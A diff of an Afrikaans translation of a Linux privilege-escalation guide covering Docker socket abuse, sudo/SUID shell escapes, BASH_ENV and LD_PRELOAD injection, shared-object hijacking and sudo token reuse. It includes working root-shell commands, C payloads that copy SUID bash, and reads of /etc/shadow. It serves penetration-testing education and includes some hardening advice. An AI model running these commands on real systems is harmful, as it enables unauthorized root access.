+_Neem kennis dat die stelsel daardie socket-lêer konfigurasie moet gebruik, anders sal die backdoor nie uitgevoer word nie_
-### Skryfbare sockets
+### Writable sockets
-As jy **'n skryfbare socket identifiseer** (_nou praat ons oor Unix Sockets en nie oor die konfigurasie `.socket`-lêers nie_), dan **kan jy met daardie socket kommunikeer** en moontlik 'n kwesbaarheid uitbuit.
+As jy 'n **skryfbare socket** identifiseer (_nou praat ons van Unix Sockets en nie van die konfigurasie `.socket` lêers nie_), dan **kan jy met daardie socket kommunikeer** en dalk 'n kwesbaarheid uitbuit.
-### Enumereer Unix Sockets
+### Enumerate Unix Sockets
```bash
netstat -a -p --unix
```
@@ -530,7 +530,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
```
-**Uitbuitingsvoorbeeld:**
+**Eksploitasievoorbeeld:**
{{#ref}}
@@ -539,28 +539,28 @@ socket-command-injection.md
### HTTP sockets
-Let daarop dat daar moontlik 'n paar **sockets listening for HTTP** requests is (_Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met:
+Let daarop dat daar dalk 'n paar **sockets listening for HTTP** requests (_Ek praat nie van .socket files nie maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
-As die socket **reageer op 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **exploit 'n kwesbaarheid**.
+As die soket **op 'n HTTP-versoek reageer**, kan jy **met dit kommunikeer** en dalk **exploit some vulnerability**.
-### Skryfbare Docker socket
+### Skryfbare Docker-soket
-Die Docker socket, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie socket te hê, kan tot privilege escalation lei. Hier volg 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.
+Die Docker-soket, dikwels te vinde by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Per verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie soket te hê, kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie.
-#### **Privilege Escalation met Docker CLI**
+#### **Privilege Escalation with Docker CLI**
-As jy skryftoegang tot die Docker socket het, kan jy escalate privileges deur die volgende opdragte te gebruik:
+As jy skryftoegang tot die Docker-soket het, kan jy escalate privileges deur die volgende opdragte te gebruik:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
-Hierdie opdragte laat jou toe om 'n container te laat loop met root-vlak toegang tot die gasheer se lêerstelsel.
+Hierdie opdragte stel jou in staat om 'n container te laat loop met root-vlak toegang tot die gasheer se lêerstelsel.
-#### **Using Docker API Directly**
+#### **Gebruik Docker API direk**
-In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket steeds gemanipuleer word deur die Docker API en `curl` opdragte.
+In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-sok nog steeds gemanipuleer word met die Docker API en `curl` opdragte.
1. **List Docker Images:** Haal die lys van beskikbare images op.
@@ -568,19 +568,19 @@ In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket stee
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
-2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheerstelsel se root-gids mount.
+2. **Create a Container:** Stuur 'n versoek om 'n container te skep wat die gasheer se root-directory mount.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
-Start die nuut geskepte container:
+Begin die nuut geskepte container:
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start
```
-3. **Attach to the Container:** Koppel aan die container: gebruik `socat` om 'n verbinding met die container te vestig, wat jou in staat stel om opdragte binne dit uit te voer.
+3. **Attach to the Container:** Gebruik `socat` om 'n verbinding met die container te vestig, wat opdraguitvoering daarin moontlik maak.
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@@ -590,29 +590,29 @@ Connection: Upgrade
Upgrade: tcp
```
-Nadat die `socat`-verbinding opgestel is, kan jy direk opdragte in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel.
+Nadat die `socat`-verbinding ingestel is, kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel.
### Ander
-Let daarop dat as jy skryfpermitte oor die docker socket het omdat jy **inside the group `docker`** is, jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Let wel dat as jy skryfbevoegdhede oor die docker-sok het omdat jy **in die groep `docker` is** jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
-Kyk na **meer maniere om uit docker te ontsnap of dit te misbruik om voorregte te eskaleer** in:
+Kyk vir **meer maniere om uit docker te breek of dit te misbruik om voorregte te eskaleer** in:
{{#ref}}
docker-security/
{{#endref}}
-## Containerd (ctr) voorregte eskalasie
+## Containerd (ctr) privilege escalation
-As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**:
+As jy uitvind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**:
{{#ref}}
containerd-ctr-privilege-escalation.md
{{#endref}}
-## **RunC** voorregte eskalasie
+## **RunC** privilege escalation
As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**:
@@ -623,15 +623,15 @@ runc-privilege-escalation.md
## **D-Bus**
-D-Bus is 'n gesofistikeerde inter-Process Communication (IPC)-stelsel wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met moderne Linux-stelsels in gedagte, bied dit 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie.
+D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) system** wat toepassings in staat stel om doeltreffend met mekaar te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie.
-Die stelsel is veelsydig en ondersteun basiese IPC wat die data-uitruil tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit om gebeure of seine uit te saai, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp om die gebruikerservaring te verbeter. Daarbenewens ondersteun D-Bus 'n remote object-stelsel wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig, en prosesse vergemaklik wat tradisioneel kompleks was.
+Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruil tussen prosesse verbeter, soortgelyk aan **enhanced UNIX domain sockets**. Verder help dit met die uitsending van gebeure of seine, en bevorder naatlose integrasie tussen stelselkomponente. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler laat stilmaak, wat die gebruikerservaring verbeter. Boonop ondersteun D-Bus 'n remote object system, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn.
-D-Bus werk op 'n toelaat/weier-model en bestuur boodskappermitte (metode-aanroepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van pasgemaakte beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik lei tot voorreg-eskalasie deur die uitbuiting van hierdie permitte.
+D-Bus werk op 'n **allow/deny model**, en bestuur boodskaptoestemmings (metode-oproepe, sein-uitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide bepaal interaksies met die bus en kan moontlik voorsiening maak vir voorregte-eskalasie deur die uitbuiting van hierdie toestemmings.
-'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat permitte in detail beskryf vir die root-gebruiker om `fi.w1.wpa_supplicant1` te besit, na te stuur en boodskappe daarvandaan te ontvang.
+'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat die toestemmings vir die root-gebruiker uiteensit om `fi.w1.wpa_supplicant1` te besit, boodskappe daarheen te stuur en boodskappe daarvan te ontvang.
-Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op alle gebruikers wat nie deur ander spesifieke beleide gedek word nie.
+Beleide sonder 'n gespesifiseerde gebruiker of groep is universieel van toepassing, terwyl "default" konteksbeleide van toepassing is op allegene wat nie deur ander spesifieke beleide gedek word nie.
```xml
@@ -640,7 +640,7 @@ Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "de
```
-**Leer hier hoe om 'n D-Bus communication te enumerate en te exploit:**
+**Leer hier hoe om 'n D-Bus kommunikasie te enumerate en te exploit:**
{{#ref}}
@@ -651,7 +651,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind.
-### Algemene enumeration
+### Generiese enumeration
```bash
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
@@ -674,24 +674,24 @@ cat /etc/networks
#Files used by network services
lsof -i
```
-### Open ports
+### Oop poorte
-Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang daartoe gekry het nie:
+Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy voor toegang nie kon kommunikeer nie:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
-Kontroleer of jy sniff traffic. As jy dit kan, kan jy dalk credentials vang.
+Kontroleer of jy verkeer kan sniff. As jy dit kan doen, kan jy dalk sommige credentials afvang.
```
timeout 1 tcpdump
```
-## Users
+## Gebruikers
-### Generic Enumeration
+### Generiese Enumerasie
-Kontroleer **wie** jy is, watter **privileges** jy het, watter **users** in die stelsels is, watter van hulle kan **login** en watter het **root privileges:**
+Kontroleer wie jy is, watter **privileges** jy het, watter **users** in die stelsels is, watter daarvan kan **login** en watter het **root privileges**:
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@@ -715,12 +715,12 @@ gpg --list-keys 2>/dev/null
```
### Groot UID
-Sommige Linux-weergawes is deur 'n fout geraak wat gebruikers met **UID > INT_MAX** toelaat om to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+Sommige Linux-weergawes is deur 'n fout geraak wat gebruikers met **UID > INT_MAX** toelaat om privileges te eskaleer. Meer inligting: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) en [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**Exploit it** using: **`systemd-run -t /bin/bash`**
### Groepe
-Kyk of jy 'n **lid van 'n groep** is wat jou root privileges kan verleen:
+Kyk of jy 'n **lid van 'n groep** is wat jou root privileges kan gee:
{{#ref}}
@@ -746,27 +746,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### Bekende wagwoorde
-As jy **enige wagwoord ken** van die omgewing, **probeer om as elke gebruiker aan te meld** met daardie wagwoord.
+As jy **'n wagwoord van die omgewing ken**, probeer **aanmeld as elke gebruiker** met daardie wagwoord.
### Su Brute
-Indien jy nie omgee om baie geraas te maak nie en die `su` en `timeout` binaries op die rekenaar beskikbaar is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
+As jy nie omgee om baie geraas te maak nie en die binaries `su` en `timeout` op die rekenaar beskikbaar is, kan jy probeer om 'n gebruiker te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force.
-## Skryfbare PATH misbruik
+## Skryfbare $PATH misbruik
### $PATH
-As jy vind dat jy kan **skryf binne 'n gids van die $PATH** kan jy dalk privilegies eskaleer deur **'n backdoor te skep in die skryfbare gids** met die naam van 'n command wat deur 'n ander gebruiker (ideaalweg root) uitgevoer gaan word en wat **nie gelaai word vanaf 'n gids wat voor jou skryfbare gids in $PATH lê** nie.
+As jy vind dat jy kan **skryf in 'n gids van die $PATH** mag dit moontlik wees om bevoegdhede te verhoog deur **'n backdoor in die skryfbare gids te skep** met die naam van 'n opdrag wat deur 'n ander gebruiker (idealiter root) uitgevoer gaan word en wat **nie van 'n gids gelees word wat voor jou skryfbare gids in die $PATH geleë is** nie.
### SUDO and SUID
-Jy mag moontlik toegelaat wees om 'n command uit te voer met sudo, of hulle kan die suid-bit hê. Kontroleer dit met:
+Jy mag toegelaat wees om sekere opdragte met sudo uit te voer of hulle kan die suid-bit hê. Kontroleer dit met:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
-Sommige **onverwagte commands laat jou toe om files te read en/of te write of selfs 'n command te execute.** Byvoorbeeld:
+Sommige **onverwagte opdragte laat jou toe om lêers te lees en/of te skryf of selfs 'n opdrag uit te voer.** Byvoorbeeld:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@@ -777,37 +777,37 @@ less>!
```
### NOPASSWD
-Sudo-konfigurasie kan 'n gebruiker toelaat om 'n kommando met 'n ander gebruiker se voorregte uit te voer sonder om die wagwoord te ken.
+Sudo configuration mag 'n gebruiker toelaat om 'n opdrag met die bevoegdhede van 'n ander gebruiker uit te voer sonder om die wagwoord te ken.
```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
-In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer; dit is nou eenvoudig om 'n shell te kry deur 'n ssh-sleutel in die root-gids by te voeg of deur `sh` aan te roep.
+In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer, dit is nou eenvoudig om 'n shell te kry deur 'n ssh key in die root directory by te voeg of deur `sh` aan te roep.
```
sudo vim -c '!sh'
```
### SETENV
-Hierdie direktief laat die gebruiker toe om **'n omgewingsveranderlike te stel** terwyl iets uitgevoer word:
+Hierdie direktief laat die gebruiker toe om **'n omgewingsveranderlike in te stel** terwyl iets uitgevoer word:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
-Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwesbaar** vir **PYTHONPATH hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer is:
+Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwesbaar** vir **PYTHONPATH hijacking** om enige python-biblioteek te laai terwyl die skrip as root uitgevoer word:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
-### BASH_ENV bewaar deur sudo env_keep → root shell
+### BASH_ENV behou deur sudo env_keep → root shell
-As sudoers `BASH_ENV` bewaar (bv. `Defaults env_keep+="ENV BASH_ENV"`), kan jy Bash se nie-interaktiewe opstartgedrag misbruik om willekeurige kode as root uit te voer wanneer jy 'n toegelate opdrag aanroep.
+As sudoers `BASH_ENV` bewaar (bv., `Defaults env_keep+="ENV BASH_ENV"`), kan jy Bash se nie-interaktiewe opstartgedrag misbruik om ewekansige kode as root uit te voer wanneer jy 'n toegelate opdrag aanroep.
-- Waarom dit werk: Vir nie-interaktiewe shells evalueer Bash `$BASH_ENV` en sources daardie lêer voordat dit die teiken-skrip uitvoer. Baie sudo-reëls laat toe om 'n skrip of 'n shell-wrapper uit te voer. As `BASH_ENV` deur sudo bewaar word, word jou lêer met root-regte gesourced.
+- Why it works: Vir nie-interaktiewe shells evalueer Bash `$BASH_ENV` en voer daardie lêer in die huidige omgewing uit voordat die teiken-skrip geloop word. Baie sudo-reëls laat toe om 'n skrip of 'n shell-wrapper te hardloop. As `BASH_ENV` deur sudo behou word, word jou lêer met root-bevoegdhede ingelaai.
-- Vereistes:
-- 'n sudo-reël wat jy kan uitvoer (enige teiken wat `/bin/bash` nie-interaktief aanroep, of enige bash-skrip).
-- `BASH_ENV` aanwesig in `env_keep` (kontroleer met `sudo -l`).
+- Requirements:
+- 'n sudo-reël wat jy kan loop (enige teiken wat `/bin/bash` nie-interaktief oproep, of enige bash-skrip).
+- `BASH_ENV` teenwoordig in `env_keep` (kontroleer met `sudo -l`).
- PoC:
```bash
@@ -819,14 +819,14 @@ chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
```
-- Hardening:
+- Verharding:
- Verwyder `BASH_ENV` (en `ENV`) uit `env_keep`, verkies `env_reset`.
-- Vermy shell wrappers vir sudo-allowed commands; gebruik minimale binaries.
-- Oorweeg sudo I/O logging en alerting wanneer preserved env vars gebruik word.
+- Vermy shell wrappers vir sudo-toegelate commands; gebruik minimale binaries.
+- Oorweeg sudo I/O-logging en waarskuwings wanneer bewaarde env vars gebruik word.
-### Sudo execution bypassing paths
+### Sudo-uitvoering: omseilingspaaie
-**Gaan na** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_
+**Jump** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers-lêer: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@@ -836,46 +836,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
-As 'n **wildcard** gebruik word (\*), is dit selfs makliker:
+As 'n **wildcard** gebruik word (\*), is dit nog makliker:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
**Teenmaatreëls**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
-### Sudo-opdrag/SUID-binarie sonder opdragpad
+### Sudo-opdrag/SUID-binary sonder die opdragpad
-As die **sudo permission** aan 'n enkele opdrag **sonder om die pad te spesifiseer** toegeken is: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH-variabele te verander
+As die **sudo toestemming** gegee word vir ’n enkele opdrag **sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH-variabele te verander.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
-Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander opdrag uitvoer sonder om die pad daarna te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID-binaire)**).
+Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander command uitvoer sonder om die pad daartoe te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**).
[Payload examples to execute.](payloads-to-execute.md)
### SUID binary met command path
-As die **suid** binary **'n ander opdrag uitvoer en die pad spesifiseer**, dan kan jy probeer om 'n **export a function** te skep met dieselfde naam as die opdrag wat die suid-lêer aanroep.
+Indien die **suid** binary **'n ander command uitvoer en die pad spesifiseer**, kan jy probeer om 'n **export a function** te skep wat dieselfde naam het as die command wat die suid-lêer aanroep.
-Byvoorbeeld, as a suid binary calls _**/usr/sbin/service apache2 start**_ moet jy probeer om die funksie te skep en dit te exporteer:
+Byvoorbeeld, as 'n suid binary _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die function te skep en te export:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
-Wanneer jy dan die suid binary aanroep, sal hierdie funksie uitgevoer word
+Dan, wanneer jy die suid binary aanroep, sal hierdie funksie uitgevoer word
### LD_PRELOAD & **LD_LIBRARY_PATH**
-Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so-lêers) te spesifiseer wat deur die lader voor alle ander gelaai moet word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek.
+Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer shared libraries (.so files) te spesifiseer wat deur die laaier voor alle ander gelaai word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek.
-Om stelselveiligheid te handhaaf en te verhinder dat hierdie funksie misbruik word, veral by **suid/sgid** uitvoerbare lêers, dwing die stelsel sekere voorwaardes af:
+Om stelselveiligheid te handhaaf en te verhoed dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, dwing die stelsel sekere voorwaardes af:
-- Die lader ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die ware gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_) nie.
-- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is voorafgelaai.
+- Die laaier ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_) nie.
+- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is, voorafgelaai.
-Privilegie-eskalasie kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitvoer van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingsveranderlike behoue bly en herken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van ewekansige kode met verhoogde regte.
+Privilegiestyging kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** bevat. Hierdie konfigurasie laat toe dat die omgewingsveranderlike **LD_PRELOAD** behoue bly en erken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik lei tot die uitvoering van arbitrêre kode met verhoogde voorregte.
```
Defaults env_keep += LD_PRELOAD
```
@@ -897,12 +897,12 @@ Dan **kompileer dit** met:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
-Uiteindelik, voer **escalate privileges** uit
+Uiteindelik, **escalate privileges** wat uitgevoer word
```bash
sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo
```
> [!CAUTION]
-> 'n soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** env variable beheer omdat hy die pad beheer waar biblioteke gesoek gaan word.
+> 'n soortgelyke privesc kan uitgebuit word as die attacker die **LD_LIBRARY_PATH** env variable beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word.
```c
#include
#include
@@ -924,13 +924,13 @@ sudo LD_LIBRARY_PATH=/tmp
```
### SUID Binary – .so injection
-Wanneer jy op 'n binary met **SUID**-toestemmings stuit wat ongewoon voorkom, is dit 'n goeie praktyk om te kontroleer of dit **.so**-lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:
+Wanneer jy 'n binary met **SUID** permissies teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
-Byvoorbeeld, die teëkom van 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op 'n moontlikheid vir uitbuiting.
+Byvoorbeeld, die voorkoms van ’n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op ’n potensiaal vir exploitation.
-Om dit uit te buit, skep 'n C-lêer, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat:
+Om dit te exploit, sal ’n mens voortgaan deur ’n C-lêer te skep, sê _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat:
```c
#include
#include
@@ -941,13 +941,13 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-Hierdie kode beoog, sodra dit saamgestel en uitgevoer is, om bevoegdhede te verhoog deur lêerpermissies te manipuleer en 'n shell met verhoogde bevoegdhede uit te voer.
+Hierdie kode, sodra dit saamgestel en uitgevoer is, poog om privileges te verhoog deur file permissions te manipuleer en 'n shell met verhoogde privileges uit te voer.
-Kompileer die bogenoemde C-lêer na 'n shared object (.so)-lêer met:
+Kompileer die bogenoemde C-lêer in 'n shared object (.so) lêer met:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
-Laastens, die uitvoering van die geaffekteerde SUID-binary behoort die exploit te aktiveer, wat potensiële stelselkompromittering moontlik maak.
+Uiteindelik behoort die uitvoering van die aangetaste SUID binary die exploit te aktiveer, wat 'n moontlike stelselkompromittering toelaat.
## Shared Object Hijacking
```bash
@@ -959,7 +959,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
-Nou dat ons 'n SUID binary gevind het wat 'n library vanaf 'n folder laai waarin ons kan skryf, kom ons skep die library in daardie folder met die nodige naam:
+Nou dat ons 'n SUID binary gevind het wat 'n library uit 'n folder laai waar ons kan skryf, kom ons skep die library in daardie folder met die nodige naam:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include
@@ -976,13 +976,13 @@ As jy 'n fout kry soos
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
-Dit beteken dat die biblioteek wat jy gegenereer het, 'n funksie genaamd `a_function_name` moet hê.
+dit beteken dat die biblioteek wat jy gegenereer het `a_function_name` moet hê.
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) is 'n gekuratoreerde lys van Unix-binaries wat deur 'n aanvaller misbruik kan word om plaaslike veiligheidsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente kan invoeg** in 'n opdrag.
+[**GTFOBins**](https://gtfobins.github.io) is 'n gekeurateerde lys van Unix binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente kan inject** in 'n opdrag.
-Die projek versamel legitieme funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te eskaleer of te behou, lêers oor te dra, bind- en reverse-shells te skep, en ander post-exploitation take te vergemaklik.
+Die projek versamel legitieme funksies van Unix binaries wat misbruik kan word om uit beperkte shells te ontsnap, privilegies te eskaleer of te behou, lêers oor te dra, bind- en reverse shells te spawn, en ander post-exploitation take te vergemaklik.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@@ -1001,50 +1001,50 @@ https://gtfoargs.github.io/
### FallOfSudo
-As jy toegang tot `sudo -l` het, kan jy die instrument [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit vind hoe om enige sudo-reël te eksploiteer.
+If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule.
### Reusing Sudo Tokens
-In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy voorregte eskaleer deur **te wag vir 'n sudo-opdrag wat uitgevoer word en dan die sessie-token te kap**.
+In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy privilegies eskaleer deur **te wag vir 'n sudo-opdraguitvoering en dan die sessietoken te kaap**.
-Vereistes om voorregte te eskaleer:
+Vereistes om privilegies te eskaleer:
- Jy het reeds 'n shell as gebruiker "_sampleuser_"
-- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15 minute** (standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder 'n wagwoord)
+- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15mins** (by verstek is dit die duur van die sudo token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer)
- `cat /proc/sys/kernel/yama/ptrace_scope` is 0
-- `gdb` is toeganklik (jy kan dit oplaai)
+- `gdb` is toeganklik (jy moet dit kan oplaai)
